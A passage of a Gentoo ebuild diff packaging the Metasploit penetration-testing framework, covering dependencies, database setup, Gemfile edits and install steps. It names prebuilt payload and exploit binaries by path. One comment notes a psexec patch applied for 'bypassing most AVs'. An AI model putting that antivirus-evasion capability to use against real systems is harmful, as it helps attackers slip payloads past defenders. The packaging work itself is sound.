+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin
+ "
+
+pkg_setup() {
+ if use test; then
+ su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail
+ su postgres -c "createuser msf_test_user -d -S -R"
+ if [ $? -ne 0 ]; then
+ su postgres -c "dropuser msf_test_user" || die
+ su postgres -c "createuser msf_test_user -d -S -R" || die
+ fi
+ su postgres -c "createdb --owner=msf_test_user msf_test_database" || die
+ fi
+}
+
+src_prepare() {
+ # add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs
+ epatch "${FILESDIR}/agix_psexec_pull-2657.patch"
+ #so much cruft is bundled with msf that we will fix it in src_prepare to make intentions more clear
+
+ #stop asking about bloody bundler
+ #sed -i "/require 'bundler\/setup'/d" lib/msfenv.rb
+
+ #unbundle johntheripper, at least it now defaults to running the system version
+ rm -rf "${S}"/data/john/run.*
+ rm -rf "${S}"/data/john/src.tar.bz2
+ #remove random "cpuinfo" binaries which a only needed to detect which bundled john to run
+ rm -rf "${S}"/data/cpuinfo
+
+ #remove random included sources
+ rm -rf "${S}"/external/source
+
+ #remove unused "external" modules
+ rm -rf "${S}"/external/ruby-kissfft
+ rm -rf "${S}"/external/ruby-lorcon
+ rm -rf "${S}"/external/ruby-lorcon2
+
+ #remove unneeded ruby bundler versioning files
+ #Gemfile.lock contains the versions tested by the msf team but not the hard requirements
+ #we regen this file with src_test
+ rm -f "${S}"/Gemfile.lock
+ #The Gemfile contains real known deps, we keep it for use in src_test
+ #rm -f "${S}"/Gemfile
+ #now we edit the Gemfile based on use flags
+ #even if we pass --without=blah bundler still calculates the deps and messes us up
+ if ! use pcap; then
+ sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die
+ fi
+ if ! use development; then
+ sed -i -e "/^group :development do/,/^end$/d" Gemfile || die
+ fi
+ if ! use test; then
+ sed -i -e "/^group :test/,/^end$/d" Gemfile || die
+ fi
+ if ! use test && ! use development; then
+ sed -i -e "/^group :development/,/^end$/d" Gemfile || die
+ fi
+ if use test; then
+ #We don't need simplecov
+ sed -i -e "s#gem 'simplecov', '0.5.4', :require => false##" Gemfile || die
+ sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die
+ fi
+ bundle install --local || die
+ bundle check || die
+
+ #they removed bundled armitage from releases so let's just keep it external
+ rm -rf "${S}"/armitage "${S}"/data/armitage
+
+ #whiles we are commiting fixes for filth, let's bogart msfupdate
+ rm "${S}"/msfupdate
+ echo "#!/bin/sh" > "${S}"/msfupdate
+ echo "echo \"[*]\"" >> "${S}"/msfupdate
+ echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> "${S}"/msfupdate
+ echo "echo \"[*]\"" >> "${S}"/msfupdate
+ echo "echo \"\"" >> "${S}"/msfupdate
+ if [[ ${PV} == "9999" ]] ; then
+ echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${S}"/msfupdate
+ else
+ echo "echo \"Unable to update tagged version of metasploit.\"" >> "${S}"/msfupdate
+ echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> "${S}"/msfupdate
+ echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> "${S}"/msfupdate
+ fi
+ #this is set executable in src_install
+
+ #install our database.yml file before tests are run
+ cp "${FILESDIR}"/database.yml "${S}"/config/
+
+ #force all metasploit executables to ruby19, ruby18 is not supported anymore and ruby20 is not supported yet
+ #https://dev.metasploit.com/redmine/issues/8357
+ for file in $(ls -1 "${S}"/msf*)
+ do
+ #poorly adapted from python.eclass
+ sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2ruby19:" -i "${file}" || die "Conversion of shebang in '${file}' failed"
+ done
+}
+
+#serialport does not work with ruby19 at this time
+#src_compile() {
+# if use serialport; then
+# cd "${S}"/external/serialport
+# ruby extconf.rb
+# emake
+# fi
+#}
+
+src_test() {
+ #rake --trace spec || die
+ #MSF_DATABASE_CONFIG="${S}"/config/database.yml
+ # https://dev.metasploit.com/redmine/issues/8425
+ rake db:migrate || die
+ RAILS_ENV=test MSF_DATABASE_CONFIG="${S}"/config/database.yml rake spec || die
+ su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user"
+}
+
+src_install() {
+ #Tests have already been run, we don't need this stuff
+ rm -rf "${S}"/spec
+ rm -rf "${S}"/test
+
+ # should be as simple as copying everything into the target...
+ dodir /usr/$(get_libdir)/${PN}${SLOT}
+ cp -R "${S}"/* "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
+ rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md
+ fowners -R root:0 /
+
+ # do not remove LICENSE, bug #238137
+ dodir /usr/share/doc/${PF}
+ cp -R "${S}"/{documentation,README.md} "${ED}"/usr/share/doc/${PF} || die
+ dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
+
+ #does not work with ruby19 at this time
+ #if use serialport; then
+ # cd "${S}"/external/serialport
+ # emake DESTDIR="${ED}" install
+ #fi
+
+ fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+}
+
+pkg_postinst() {
+ elog "You need to prepare the database by running:"
+ elog "emerge --config postgresql-server"
+ elog "/etc/init.d/postgresql-<version> start"
+ elog "emerge --config =metasploit-${PV}"
+
+ "${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
+
+ einfo
+ elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary"
+}
+
+pkg_config() {
+ einfo "If the following fails, it is likely because you forgot to start/config postgresql first"
+ su postgres -c "createuser msf_user -D -S -R"
+ su postgres -c "createdb --owner=msf_user msf_database"
+}
diff --git a/net-analyzer/metasploit/metasploit-9999.ebuild b/net-analyzer/metasploit/metasploit-9999.ebuild
index 595d8af9cb1a..2a3fccbb835c 100644
--- a/net-analyzer/metasploit/metasploit-9999.ebuild
+++ b/net-analyzer/metasploit/metasploit-9999.ebuild
@@ -1,109 +1,245 @@
# Copyright 1999-2013 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
-# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-9999.ebuild,v 1.5 2013/11/03 03:07:32 mrueg Exp $
+# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-9999.ebuild,v 1.6 2013/12/15 17:19:08 zerochaos Exp $
-EAPI="3"
-inherit eutils subversion
+EAPI="5"
+inherit eutils
-ESVN_REPO_URI="https://metasploit.com/svn/framework3/trunk"
+#MY_P=${PN/metasploit/framework}-${PV}
+
+if [[ ${PV} == "9999" ]] ; then
+ EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
+ inherit git-r3
+ KEYWORDS=""
+# S="${WORKDIR}/${MY_P}"
+else
+ #https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
+ SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2"
+ KEYWORDS="~amd64 ~arm ~x86"
+ S="${WORKDIR}"/msf3
+fi
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
-
+SLOT="9999"
LICENSE="BSD"
-SLOT="4.0"
-KEYWORDS=""
-IUSE="gui mysql postgres"
-
-# Note we use bundled gems (see data/msfweb/vendor/rails/) as upstream voted for
-# such solution, bug #247787
-RDEPEND="dev-lang/ruby
- dev-ruby/rubygems
- dev-ruby/kissfft
- gui? ( virtual/jre )
- mysql? ( dev-ruby/mysql-ruby
- dev-ruby/activerecord[mysql] )
- postgres? ( dev-ruby/activerecord[postgres] )"
-DEPEND=""
-
-QA_PRESTRIPPED="
- usr/lib/${PN}${SLOT}/data/msflinker_linux_x86.bin
- usr/lib/${PN}${SLOT}/data/templates/template_armle_linux.bin
- usr/lib/${PN}${SLOT}/data/templates/template_x86_linux.bin"
-
-QA_EXECSTACK="
- usr/lib/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin"
-QA_WX_LOAD="
- usr/lib/${PN}${SLOT}/data/templates/template_*_linux.bin"
-
-S=${WORKDIR}/msf3
-
-src_unpack() {
- subversion_fetch
+IUSE="development +java lorcon +pcap test"
+
+#multiple known bugs with tests reported upstream and ignored
+RESTRICT="test"
+
+COMMON_DEPEND="dev-db/postgresql-server
+ dev-lang/ruby:1.9[ssl]
+ || ( dev-ruby/activesupport:3.1[ruby_targets_ruby19] dev-ruby/activesupport:3.2[ruby_targets_ruby19] )
+ dev-ruby/activerecord:3.2[ruby_targets_ruby19]
+ dev-ruby/json[ruby_targets_ruby19]
+ >=dev-ruby/metasploit_data_models-0.16.6[ruby_targets_ruby19]
+ dev-ruby/msgpack[ruby_targets_ruby19]
+ dev-ruby/nokogiri[ruby_targets_ruby19]
+ dev-ruby/builder:3[ruby_targets_ruby19]
+ >=dev-ruby/pg-0.11[ruby_targets_ruby19]
+ >=dev-ruby/packetfu-1.1.9[ruby_targets_ruby19]
+ dev-ruby/robots[ruby_targets_ruby19]
+ dev-ruby/kissfft[ruby_targets_ruby19]
+ >=app-crypt/johntheripper-1.7.9-r1[-minimal]
+ net-analyzer/nmap
+ !arm? ( java? ( dev-ruby/rjb[ruby_targets_ruby19] ) )
+ pcap? ( dev-ruby/pcaprub[ruby_targets_ruby19]
+ dev-ruby/network_interface[ruby_targets_ruby19] )
+ lorcon? ( net-wireless/lorcon[ruby] )
+ dev-ruby/bundler[ruby_targets_ruby19]
+ development? ( dev-ruby/redcarpet[ruby_targets_ruby19]
+ dev-ruby/yard[ruby_targets_ruby19]
+ dev-ruby/rake[ruby_targets_ruby19]
+ >=dev-ruby/factory_girl-4.1.0[ruby_targets_ruby19] )"
+DEPEND="${COMMON_DEPEND}
+ test? ( >=dev-ruby/factory_girl-4.1.0[ruby_targets_ruby19]
+ dev-ruby/database_cleaner[ruby_targets_ruby19]
+ >=dev-ruby/rspec-2.12[ruby_targets_ruby19]
+ dev-ruby/shoulda-matchers[ruby_targets_ruby19]
+ dev-ruby/timecop[ruby_targets_ruby19] )
+ "
+ #>=dev-ruby/rake-10.0.0[ruby_targets_ruby19] re-add when in gentoo. I'm not allowed to add it :-(
+
+RDEPEND="${COMMON_DEPEND}
+ >=app-admin/eselect-metasploit-0.10"
+
+RESTRICT="strip"
+
+QA_PREBUILT="
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin
+ "
+
+pkg_setup() {
+ if use test; then
+ su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail
+ su postgres -c "createuser msf_test_user -d -S -R"
+ if [ $? -ne 0 ]; then
+ su postgres -c "dropuser msf_test_user" || die
+ su postgres -c "createuser msf_test_user -d -S -R" || die
+ fi
+ su postgres -c "createdb --owner=msf_test_user msf_test_database" || die
+ fi
}
-src_configure() {
- [[ "${ESVN_REVISION}" == "" ]] \
- && find "${S}" -type d -name ".svn" -print0 | xargs -0 -n1 rm -R
+src_prepare() {
+ # add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs
+ epatch "${FILESDIR}/agix_psexec_pull-2657.patch"
+ #so much cruft is bundled with msf that we will fix it in src_prepare to make intentions more clear
+
+ #stop asking about bloody bundler
+ #sed -i "/require 'bundler\/setup'/d" lib/msfenv.rb
+
+ #unbundle johntheripper, at least it now defaults to running the system version
+ rm -rf "${S}"/data/john/run.*
+ rm -rf "${S}"/data/john/src.tar.bz2
+ #remove random "cpuinfo" binaries which a only needed to detect which bundled john to run
+ rm -rf "${S}"/data/cpuinfo
+
+ #remove random included sources
+ rm -rf "${S}"/external/source
+
+ #remove unused "external" modules
+ rm -rf "${S}"/external/ruby-kissfft
+ rm -rf "${S}"/external/ruby-lorcon
+ rm -rf "${S}"/external/ruby-lorcon2
+
+ #remove unneeded ruby bundler versioning files
+ #Gemfile.lock contains the versions tested by the msf team but not the hard requirements
+ #we regen this file with src_test
+ rm -f "${S}"/Gemfile.lock
+ #The Gemfile contains real known deps, we keep it for use in src_test
+ #rm -f "${S}"/Gemfile
+ #now we edit the Gemfile based on use flags
+ #even if we pass --without=blah bundler still calculates the deps and messes us up
+ if ! use pcap; then
+ sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die
+ fi
+ if ! use development; then
+ sed -i -e "/^group :development do/,/^end$/d" Gemfile || die
+ fi
+ if ! use test; then
+ sed -i -e "/^group :test/,/^end$/d" Gemfile || die
+ fi
+ if ! use test && ! use development; then
+ sed -i -e "/^group :development/,/^end$/d" Gemfile || die
+ fi
+ if use test; then
+ #We don't need simplecov
+ sed -i -e "s#gem 'simplecov', '0.5.4', :require => false##" Gemfile || die
+ sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die
+ fi
+ bundle install --local || die
+ bundle check || die
+
+ #they removed bundled armitage from releases so let's just keep it external
+ rm -rf "${S}"/armitage "${S}"/data/armitage
+ #whiles we are commiting fixes for filth, let's bogart msfupdate
rm "${S}"/msfupdate
- chmod +x "${S}"/msf*
+ echo "#!/bin/sh" > "${S}"/msfupdate
+ echo "echo \"[*]\"" >> "${S}"/msfupdate
+ echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> "${S}"/msfupdate
+ echo "echo \"[*]\"" >> "${S}"/msfupdate
+ echo "echo \"\"" >> "${S}"/msfupdate
+ if [[ ${PV} == "9999" ]] ; then
+ echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${S}"/msfupdate
+ else
+ echo "echo \"Unable to update tagged version of metasploit.\"" >> "${S}"/msfupdate
+ echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> "${S}"/msfupdate
+ echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> "${S}"/msfupdate
+ fi
+ #this is set executable in src_install
+
+ #install our database.yml file before tests are run
+ cp "${FILESDIR}"/database.yml "${S}"/config/
- use gui || rm msfgui
+ #force all metasploit executables to ruby19, ruby18 is not supported anymore and ruby20 is not supported yet
+ #https://dev.metasploit.com/redmine/issues/8357
+ for file in $(ls -1 "${S}"/msf*)
+ do
+ #poorly adapted from python.eclass
+ sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2ruby19:" -i "${file}" || die "Conversion of shebang in '${file}' failed"
+ done
+}
+
+#serialport does not work with ruby19 at this time
+#src_compile() {
+# if use serialport; then
+# cd "${S}"/external/serialport
+# ruby extconf.rb
+# emake
+# fi
+#}
+
+src_test() {
+ #rake --trace spec || die
+ #MSF_DATABASE_CONFIG="${S}"/config/database.yml
+ # https://dev.metasploit.com/redmine/issues/8425
+ rake db:migrate || die
+ RAILS_ENV=test MSF_DATABASE_CONFIG="${S}"/config/database.yml rake spec || die
+ su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user"
}
src_install() {
+ #Tests have already been run, we don't need this stuff
+ rm -rf "${S}"/spec
+ rm -rf "${S}"/test
+
# should be as simple as copying everything into the target...
- dodir /usr/lib/${PN}${SLOT}
- cp -R "${S}"/* "${D}"/usr/lib/${PN}${SLOT}
- chown -R root:0 "${D}"
+ dodir /usr/$(get_libdir)/${PN}${SLOT}
+ cp -R "${S}"/* "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
+ rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md
+ fowners -R root:0 /
# do not remove LICENSE, bug #238137
dodir /usr/share/doc/${PF}
- cp "${S}"/{README,HACKING} "${D}"/usr/share/doc/${PF}
- dosym /usr/lib/${PN}${SLOT}/documentation /usr/share/doc/${PF}/documentation
-
- dodir /usr/bin/
- for file in msf*; do
- dosym /usr/lib/${PN}${SLOT}/${file} /usr/bin/${file}${SLOT}
- done
+ cp -R "${S}"/{documentation,README.md} "${ED}"/usr/share/doc/${PF} || die
+ dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
- newinitd "${FILESDIR}"/msfrpcd-${SLOT}-initd msfrpcd${SLOT} || die
- newconfd "${FILESDIR}"/msfrpcd-${SLOT}-conf msfrpcd${SLOT} || die
+ #does not work with ruby19 at this time
+ #if use serialport; then
+ # cd "${S}"/external/serialport
+ # emake DESTDIR="${ED}" install
+ #fi
- use gui && make_desktop_entry msfgui${SLOT} \
- "Metasploit Framework" \
- metasploit \
- 'GNOME;System;Network;' &&
- doicon "${FILESDIR}"/metasploit.icon
+ fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate
}
pkg_postinst() {
- if use gui; then
- elog "You will need to create a /usr/bin/msfrpcd symlink pointing to"
- elog "the version of msfrpcd if you want to be able to start msfrpcd"
- elog "from the java gui."
- elog
- elog "ln /usr/bin/msfrpcd${SLOT} /usr/bin/msfrpcd"
- elog
- fi
+ elog "You need to prepare the database by running:"
+ elog "emerge --config postgresql-server"
+ elog "/etc/init.d/postgresql-<version> start"
+ elog "emerge --config =metasploit-${PV}"
+
+ "${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
+
+ einfo
+ elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary"
+}
- elog "If you wish to update ${PN} manually simply run:"
- elog
- elog "ESVN_REVISION=<rev> emerge =${PF}"
- elog
- elog "where <rev> is either HEAD (in case you wish to get all updates)"
- elog "or specific revision number. But NOTE, this update will vanish"
- elog "next time you reemerge ${PN}. To make update permanent either"
- elog "create ebuild with specific revision number inside your overlay"
- elog "or report revision bump bug at http://bugs.gentoo.org ."
- elog
- elog "In case you use portage it's also possible to create"
- elog "/etc/portage/env/${CATEGORY}/${PN} file with ESVN_REVISION=<rev>"
- elog "content. Then each time you run emerge ${PN} you'll have said"
- elog "<rev> installed. For example, if you run"
- elog " # mkdir -p /etc/portage/env/${CATEGORY}"
- elog " # echo ESVN_REVISION=HEAD >> /etc/portage/env/${CATEGORY}/${PN}"
- elog "each time you reemerge ${PN} it'll be updated to get all possible"
- elog "updates for framework-${PV%_p*} branch."
+pkg_config() {
+ einfo "If the following fails, it is likely because you forgot to start/config postgresql first"
+ su postgres -c "createuser msf_user -D -S -R"
+ su postgres -c "createdb --owner=msf_user msf_database"
}